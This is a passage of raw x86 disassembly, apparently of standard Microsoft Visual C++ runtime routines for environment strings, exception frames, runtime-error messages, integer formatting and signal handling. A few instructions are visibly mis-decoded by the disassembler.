cmp [ebp+var_14], 0
jnz short loc_42C863
xor eax, eax
jmp loc_42C9F5
; ---------------------------------------------------------------------------
loc_42C863: ; CODE XREF: sub_42C7E0+6Bj
; sub_42C7E0+7Aj
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
loc_42C869: ; CODE XREF: sub_42C7E0:loc_42C893j
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_42C895
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_42C893
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
loc_42C893: ; CODE XREF: sub_42C7E0+A8j
jmp short loc_42C869
; ---------------------------------------------------------------------------
loc_42C895: ; CODE XREF: sub_42C7E0+93j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_14]
sar ecx, 1
add ecx, 1
mov [ebp+var_4], ecx
push 0
push 0
push 0
push 0
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_42C8E4
push 64h
push offset dword_43A2E0
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_41AE60
add esp, 10h
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_42C8F5
loc_42C8E4: ; CODE XREF: sub_42C7E0+E4j
mov edx, [ebp+var_14]
push edx
call ds:dword_4F12E4 ; FreeEnvironmentStringsW
xor eax, eax
jmp loc_42C9F5
; ---------------------------------------------------------------------------
loc_42C8F5: ; CODE XREF: sub_42C7E0+102j
push 0
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_4F1384 ; WideCharToMultiByte
test eax, eax
jnz short loc_42C92C
push 2
mov ecx, [ebp+var_18]
push ecx
call sub_41B8F0
add esp, 8
mov [ebp+var_18], 0
loc_42C92C: ; CODE XREF: sub_42C7E0+135j
mov edx, [ebp+var_14]
push edx
call ds:dword_4F12E4 ; FreeEnvironmentStringsW
mov eax, [ebp+var_18]
jmp loc_42C9F5
; ---------------------------------------------------------------------------
loc_42C93E: ; CODE XREF: sub_42C7E0+61j
cmp ds:dword_4EEB90, 2
jnz loc_42C9F3
cmp [ebp+var_18], 0
jnz short loc_42C967
call ds:dword_4F12E0 ; GetEnvironmentStringsA
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_42C967
xor eax, eax
jmp loc_42C9F5
; ---------------------------------------------------------------------------
loc_42C967: ; CODE XREF: sub_42C7E0+16Fj
; sub_42C7E0+17Ej
mov eax, [ebp+var_18]
mov [ebp+var_C], eax
loc_42C96D: ; CODE XREF: sub_42C7E0:loc_42C993j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42C995
mov eax, [ebp+var_C]
loc_42C97A: ; CODE XREF: sub_42C7E0+20Dj
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42C993
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42C993: ; CODE XREF: sub_42C7E0+1A8j
jmp short loc_42C96D
; ---------------------------------------------------------------------------
loc_42C995: ; CODE XREF: sub_42C7E0+195j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_10], ecx
push 8Fh
push offset dword_43A2E0
push 2
mov edx, [ebp+var_10]
push edx
call sub_41AE60
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42C9D0
mov eax, [ebp+var_18]
push eax
call near ptr 3D0000h
add eax, 25EBC033h
loc_42C9D0: ; CODE XREF: sub_42C7E0+1E0j
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41E840
add esp, 0Ch
mov ecx, [ebp+var_18]
push ecx
call near ptr 3D0000h
jg short loc_42C97A
inc ebp
hlt
; ---------------------------------------------------------------------------
jmp short loc_42C9F5
; ---------------------------------------------------------------------------
loc_42C9F3: ; CODE XREF: sub_42C7E0+165j
xor eax, eax
loc_42C9F5: ; CODE XREF: sub_42C7E0+55j
; sub_42C7E0+7Ej ...
mov esp, ebp
pop ebp
retn
sub_42C7E0 endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CA04 proc near ; DATA XREF: seg000:00420B3Ao
; sub_42A410+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_42CAA4
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_42CA37: ; CODE XREF: sub_42CA04+90j
cmp esi, 0FFFFFFFFh
jz short loc_42CA9D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42CA8B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42CA8B
js short loc_42CA96
mov edi, [ebx+8]
push ebx
call sub_41F890
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41F8D2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41F966
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42CA8B: ; CODE XREF: sub_42CA04+40j
; sub_42CA04+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_42CA37
; ---------------------------------------------------------------------------
loc_42CA96: ; CODE XREF: sub_42CA04+54j
mov eax, 0
jmp short loc_42CAB9
; ---------------------------------------------------------------------------
loc_42CA9D: ; CODE XREF: sub_42CA04+36j
mov eax, 1
jmp short loc_42CAB9
; ---------------------------------------------------------------------------
loc_42CAA4: ; CODE XREF: sub_42CA04+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41F8D2
add esp, 8
pop ebp
mov eax, 1
loc_42CAB9: ; CODE XREF: sub_42CA04+97j
; sub_42CA04+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42CA04 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41F8D2
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CAE0 proc near ; CODE XREF: sub_420CA0+Cp
; sub_420CD0+Cp
push ebp
mov ebp, esp
cmp ds:dword_4EE9DC, 1
jz short loc_42CAFE
cmp ds:dword_4EE9DC, 0
jnz short loc_42CB27
cmp ds:dword_44FD34, 1
jnz short loc_42CB27
loc_42CAFE: ; CODE XREF: sub_42CAE0+Aj
push 0FCh
call sub_42CB30
add esp, 4
cmp ds:dword_4EEB94, 0
jz short loc_42CB1A
call ds:dword_4EEB94
loc_42CB1A: ; CODE XREF: sub_42CAE0+32j
push 0FFh
call sub_42CB30
add esp, 4
loc_42CB27: ; CODE XREF: sub_42CAE0+13j
; sub_42CAE0+1Cj
pop ebp
retn
sub_42CAE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB30 proc near ; CODE XREF: sub_420CA0+15p
; sub_420CD0+15p ...
var_1B0 = byte ptr -1B0h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
mov [ebp+var_8], 0
jmp short loc_42CB4E
; ---------------------------------------------------------------------------
loc_42CB45: ; CODE XREF: sub_42CB30:loc_42CB65j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42CB4E: ; CODE XREF: sub_42CB30+13j
cmp [ebp+var_8], 12h
jnb short loc_42CB67
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
cmp edx, ds:dword_450600[ecx*8]
jnz short loc_42CB65
jmp short loc_42CB67
; ---------------------------------------------------------------------------
loc_42CB65: ; CODE XREF: sub_42CB30+31j
jmp short loc_42CB45
; ---------------------------------------------------------------------------
loc_42CB67: ; CODE XREF: sub_42CB30+22j
; sub_42CB30+33j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, ds:dword_450600[eax*8]
jnz loc_42CCE8
cmp [ebp+arg_0], 0FCh
jz short loc_42CBA4
mov edx, [ebp+var_8]
mov eax, ds:off_450604[edx*8]
push eax
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42CBA4
int 3 ; Trap to Debugger
loc_42CBA4: ; CODE XREF: sub_42CB30+51j
; sub_42CB30+71j
cmp ds:dword_4EE9DC, 1
jz short loc_42CBBF
cmp ds:dword_4EE9DC, 0
jnz short loc_42CBF8
cmp ds:dword_44FD34, 1
jnz short loc_42CBF8
loc_42CBBF: ; CODE XREF: sub_42CB30+7Bj
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, ds:off_450604[edx*8]
push eax
call sub_41AC70
add esp, 4
push eax
mov ecx, [ebp+var_8]
mov edx, ds:off_450604[ecx*8]
push edx
push 0FFFFFFF4h
call near ptr 3D0000h
and edx, [eax-18h]
push cs
xor al, 0FAh
jmp fword ptr [ebx]
; ---------------------------------------------------------------------------
jmp loc_42CCE8
; ---------------------------------------------------------------------------
loc_42CBF8: ; CODE XREF: sub_42CB30+84j
; sub_42CB30+8Dj
cmp [ebp+arg_0], 0FCh
jz loc_42CCE8
push 104h
lea eax, [ebp+var_110]
push eax
push 0
call near ptr 3D0000h
dec ecx
test eax, eax
jnz short loc_42CC31
push offset aProgramNameUnk ; "<program name unknown>"
lea ecx, [ebp+var_110]
push ecx
call sub_41E550
add esp, 8
loc_42CC31: ; CODE XREF: sub_42CB30+EBj
lea edx, [ebp+var_110]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
push eax
call sub_41AC70
add esp, 4
add eax, 1
cmp eax, 3Ch
jbe short loc_42CC7A
lea ecx, [ebp+var_110]
push ecx
call sub_41AC70
add esp, 4
mov edx, [ebp+var_C]
lea eax, [edx+eax-3Bh]
mov [ebp+var_C], eax
push 3
push offset a___ ; "..."
mov ecx, [ebp+var_C]
push ecx
call sub_41D800
add esp, 0Ch
loc_42CC7A: ; CODE XREF: sub_42CB30+11Cj
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
lea edx, [ebp+var_1B0]
push edx
call sub_41E550
add esp, 8
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_1B0]
push ecx
call sub_41E560
add esp, 8
push offset asc_439EA0 ; "\n\n"
lea edx, [ebp+var_1B0]
push edx
call sub_41E560
add esp, 8
mov eax, [ebp+var_8]
mov ecx, ds:off_450604[eax*8]
push ecx
lea edx, [ebp+var_1B0]
push edx
call sub_41E560
add esp, 8
push 12010h
push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
lea eax, [ebp+var_1B0]
push eax
call sub_42D5C0
add esp, 0Ch
loc_42CCE8: ; CODE XREF: sub_42CB30+44j
; sub_42CB30+C3j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42CB30 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 0
jmp short loc_42CD06
; ---------------------------------------------------------------------------
loc_42CCFD: ; CODE XREF: seg000:loc_42CD1Dj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_42CD06: ; CODE XREF: seg000:0042CCFBj
cmp dword ptr [ebp-4], 12h
jnb short loc_42CD1F
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp edx, ds:dword_450600[ecx*8]
jnz short loc_42CD1D
jmp short loc_42CD1F
; ---------------------------------------------------------------------------
loc_42CD1D: ; CODE XREF: seg000:0042CD19j
jmp short loc_42CCFD
; ---------------------------------------------------------------------------
loc_42CD1F: ; CODE XREF: seg000:0042CD0Aj
; seg000:0042CD1Bj
mov eax, [ebp-4]
mov ecx, [ebp+8]
cmp ecx, ds:dword_450600[eax*8]
jnz short loc_42CD3A
mov edx, [ebp-4]
mov eax, ds:off_450604[edx*8]
jmp short loc_42CD3C
; ---------------------------------------------------------------------------
loc_42CD3A: ; CODE XREF: seg000:0042CD2Cj
xor eax, eax
loc_42CD3C: ; CODE XREF: seg000:0042CD38j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CD40 proc near ; CODE XREF: seg000:0042112Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_42CD67
cmp [ebp+arg_0], 0
jge short loc_42CD67
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42CD90
add esp, 10h
jmp short loc_42CD7D
; ---------------------------------------------------------------------------
loc_42CD67: ; CODE XREF: sub_42CD40+7j
; sub_42CD40+Dj
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42CD90
add esp, 10h
loc_42CD7D: ; CODE XREF: sub_42CD40+25j
mov eax, [ebp+arg_4]
pop ebp
retn
sub_42CD40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CD90 proc near ; CODE XREF: sub_42CD40+1Dp
; sub_42CD40+35p ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_C], 0
jz short loc_42CDB9
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov [ebp+arg_0], eax
loc_42CDB9: ; CODE XREF: sub_42CD90+10j
mov ecx, [ebp+var_4]
mov [ebp+var_8], ecx
loc_42CDBF: ; CODE XREF: sub_42CD90+79j
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+arg_0], eax
cmp [ebp+var_C], 9
jbe short loc_42CDF1
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42CE05
; ---------------------------------------------------------------------------
loc_42CDF1: ; CODE XREF: sub_42CD90+49j
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42CE05: ; CODE XREF: sub_42CD90+5Fj
cmp [ebp+arg_0], 0
ja short loc_42CDBF
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42CE1A: ; CODE XREF: sub_42CD90+BCj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_42CE1A
mov esp, ebp
pop ebp
retn
sub_42CD90 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+10h], 0Ah
jnz short loc_42CE79
cmp dword ptr [ebp+8], 0
jge short loc_42CE79
mov dword ptr [ebp-4], 1
jmp short loc_42CE80
; ---------------------------------------------------------------------------
loc_42CE79: ; CODE XREF: seg000:0042CE68j
; seg000:0042CE6Ej
mov dword ptr [ebp-4], 0
loc_42CE80: ; CODE XREF: seg000:0042CE77j
mov eax, [ebp-4]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42CD90
add esp, 10h
mov eax, [ebp+0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_42CD90
add esp, 10h
mov eax, [ebp+0Ch]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+14h], 0Ah
jnz short loc_42CEE1
cmp dword ptr [ebp+0Ch], 0
jg short loc_42CEE1
jl short loc_42CED8
cmp dword ptr [ebp+8], 0
jnb short loc_42CEE1
loc_42CED8: ; CODE XREF: seg000:0042CED0j
mov dword ptr [ebp-4], 1
jmp short loc_42CEE8
; ---------------------------------------------------------------------------
loc_42CEE1: ; CODE XREF: seg000:0042CEC8j
; seg000:0042CECEj ...
mov dword ptr [ebp-4], 0
loc_42CEE8: ; CODE XREF: seg000:0042CEDFj
mov eax, [ebp-4]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_42CF10
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CF10 proc near ; CODE XREF: seg000:0042CEFCp
; seg000:0042D025p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp [ebp+arg_10], 0
jz short loc_42CF44
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov ecx, [ebp+arg_4]
adc ecx, 0
neg ecx
mov [ebp+arg_0], eax
mov [ebp+arg_4], ecx
loc_42CF44: ; CODE XREF: sub_42CF10+10j
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_42CF4A: ; CODE XREF: sub_42CF10+9Fj
; sub_42CF10+A7j
mov eax, [ebp+arg_C]
xor ecx, ecx
push ecx
push eax
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_420430
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
xor edx, edx
push edx
push ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4203C0
mov [ebp+arg_0], eax
mov [ebp+arg_4], edx
cmp [ebp+var_C], 9
jbe short loc_42CF97
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42CFAB
; ---------------------------------------------------------------------------
loc_42CF97: ; CODE XREF: sub_42CF10+6Fj
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42CFAB: ; CODE XREF: sub_42CF10+85j
cmp [ebp+arg_4], 0
ja short loc_42CF4A
jb short loc_42CFB9
cmp [ebp+arg_0], 0
ja short loc_42CF4A
loc_42CFB9: ; CODE XREF: sub_42CF10+A1j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42CFC8: ; CODE XREF: sub_42CF10+EAj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_42CFC8
mov esp, ebp
pop ebp
retn 14h
sub_42CF10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42CF10
mov eax, [ebp+10h]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_42D043
cmp dword ptr [ebp+0Ch], 3
jnz short loc_42D048
loc_42D043: ; CODE XREF: seg000:0042D03Bj
jmp loc_42D218
; ---------------------------------------------------------------------------
loc_42D048: ; CODE XREF: seg000:0042D041j
cmp dword ptr [ebp+8], 2
jz short loc_42D064
cmp dword ptr [ebp+8], 15h
jz short loc_42D064
cmp dword ptr [ebp+8], 16h
jz short loc_42D064
cmp dword ptr [ebp+8], 0Fh
jnz loc_42D141
loc_42D064: ; CODE XREF: seg000:0042D04Cj
; seg000:0042D052j ...
push 1
call sub_421A80
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_42D07A
cmp dword ptr [ebp+8], 15h
jnz short loc_42D0BF
loc_42D07A: ; CODE XREF: seg000:0042D072j
cmp ds:dword_4EEBA8, 0
jnz short loc_42D0BF
push 1
push offset sub_42D260
call near ptr 3D0000h
push edx
cmp eax, 1
jnz short loc_42D0A1
mov ds:dword_4EEBA8, 1
jmp short loc_42D0BF
; ---------------------------------------------------------------------------
loc_42D0A1: ; CODE XREF: seg000:0042D093j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov esi, eax
call sub_4267F0
mov [eax], esi
push 1
call sub_421B20
add esp, 4
jmp loc_42D218
; ---------------------------------------------------------------------------
loc_42D0BF: ; CODE XREF: seg000:0042D078j
; seg000:0042D081j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_42D132
mov eax, [ebp-10h]
xor edx, edx
mov dl, ds:byte_42D23F[eax]
jmp ds:off_42D22B[edx*4]
loc_42D0E6: ; DATA XREF: seg000:off_42D22Bo
mov ecx, ds:dword_4EEB98
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov ds:dword_4EEB98, edx
jmp short loc_42D132
; ---------------------------------------------------------------------------
loc_42D0FA: ; CODE XREF: seg000:0042D0DFj
; DATA XREF: seg000:0042D233o
mov eax, ds:dword_4EEB9C
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov ds:dword_4EEB9C, ecx
jmp short loc_42D132
; ---------------------------------------------------------------------------
loc_42D10D: ; CODE XREF: seg000:0042D0DFj
; DATA XREF: seg000:0042D237o
mov edx, ds:dword_4EEBA0
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov ds:dword_4EEBA0, eax
jmp short loc_42D132
; ---------------------------------------------------------------------------
loc_42D120: ; CODE XREF: seg000:0042D0DFj
; DATA XREF: seg000:0042D22Fo
mov ecx, ds:dword_4EEBA4
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov ds:dword_4EEBA4, edx
loc_42D132: ; CODE XREF: seg000:0042D0D2j
; seg000:0042D0DFj ...
push 1
call sub_421B20
add esp, 4
jmp loc_42D213
; ---------------------------------------------------------------------------
loc_42D141: ; CODE XREF: seg000:0042D05Ej
cmp dword ptr [ebp+8], 8
jz short loc_42D158
cmp dword ptr [ebp+8], 4
jz short loc_42D158
cmp dword ptr [ebp+8], 0Bh
jz short loc_42D158
jmp loc_42D218
; ---------------------------------------------------------------------------
loc_42D158: ; CODE XREF: seg000:0042D145j
; seg000:0042D14Bj ...
call sub_425C30
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_450578
jnz short loc_42D1B5
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, ds:dword_4505F8
push ecx
call sub_41AE60
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_42D1B3
mov ecx, ds:dword_4505F8
push ecx
push offset dword_450578
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call sub_41E840
add esp, 0Ch
jmp short loc_42D1B5
; ---------------------------------------------------------------------------
loc_42D1B3: ; CODE XREF: seg000:0042D194j
jmp short loc_42D218
; ---------------------------------------------------------------------------
loc_42D1B5: ; CODE XREF: seg000:0042D16Aj
; seg000:0042D1B1j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call sub_42D540
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_42D1D3
jmp short loc_42D218
; ---------------------------------------------------------------------------
loc_42D1D3: ; CODE XREF: seg000:0042D1CFj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_42D1DC: ; CODE XREF: seg000:loc_42D211j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_42D213
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, ds:dword_4505FC
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_42D211
jmp short loc_42D213
; ---------------------------------------------------------------------------
loc_42D211: ; CODE XREF: seg000:0042D20Dj
jmp short loc_42D1DC
; ---------------------------------------------------------------------------
loc_42D213: ; CODE XREF: seg000:0042D13Cj
; seg000:0042D1E5j ...
mov eax, [ebp-0Ch]
jmp short loc_42D226
; ---------------------------------------------------------------------------
loc_42D218: ; CODE XREF: seg000:loc_42D043j
; seg000:0042D0BAj ...
call sub_4267E0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_42D226: ; CODE XREF: seg000:0042D216j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_42D22B dd offset loc_42D0E6 ; DATA XREF: seg000:0042D0DFr
dd offset loc_42D120
dd offset loc_42D0FA
dd offset loc_42D10D
dd offset loc_42D132
byte_42D23F db 0 ; DATA XREF: seg000:0042D0D9r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D260 proc near ; DATA XREF: seg000:0042D085o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push 1
call sub_421A80
add esp, 4
cmp [ebp+arg_0], 0
jnz short loc_42D28E
mov [ebp+var_8], offset dword_4EEB98
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov [ebp+var_4], 2
jmp short loc_42D2A4
; ---------------------------------------------------------------------------
loc_42D28E: ; CODE XREF: sub_42D260+14j
mov [ebp+var_8], offset dword_4EEB9C
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov [ebp+var_4], 15h
loc_42D2A4: ; CODE XREF: sub_42D260+2Cj
cmp [ebp+var_C], 0
jnz short loc_42D2B8
push 1
call sub_421B20
add esp, 4
xor eax, eax
jmp short loc_42D2EC
; ---------------------------------------------------------------------------
loc_42D2B8: ; CODE XREF: sub_42D260+48j
cmp [ebp+var_C], 1
jz short loc_42D2DD
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
push 1
call sub_421B20
add esp, 4
mov edx, [ebp+var_4]
push edx
call [ebp+var_C]
add esp, 4
jmp short loc_42D2E7
; ---------------------------------------------------------------------------
loc_42D2DD: ; CODE XREF: sub_42D260+5Cj
push 1
call sub_421B20
add esp, 4
loc_42D2E7: ; CODE XREF: sub_42D260+7Bj
mov eax, 1
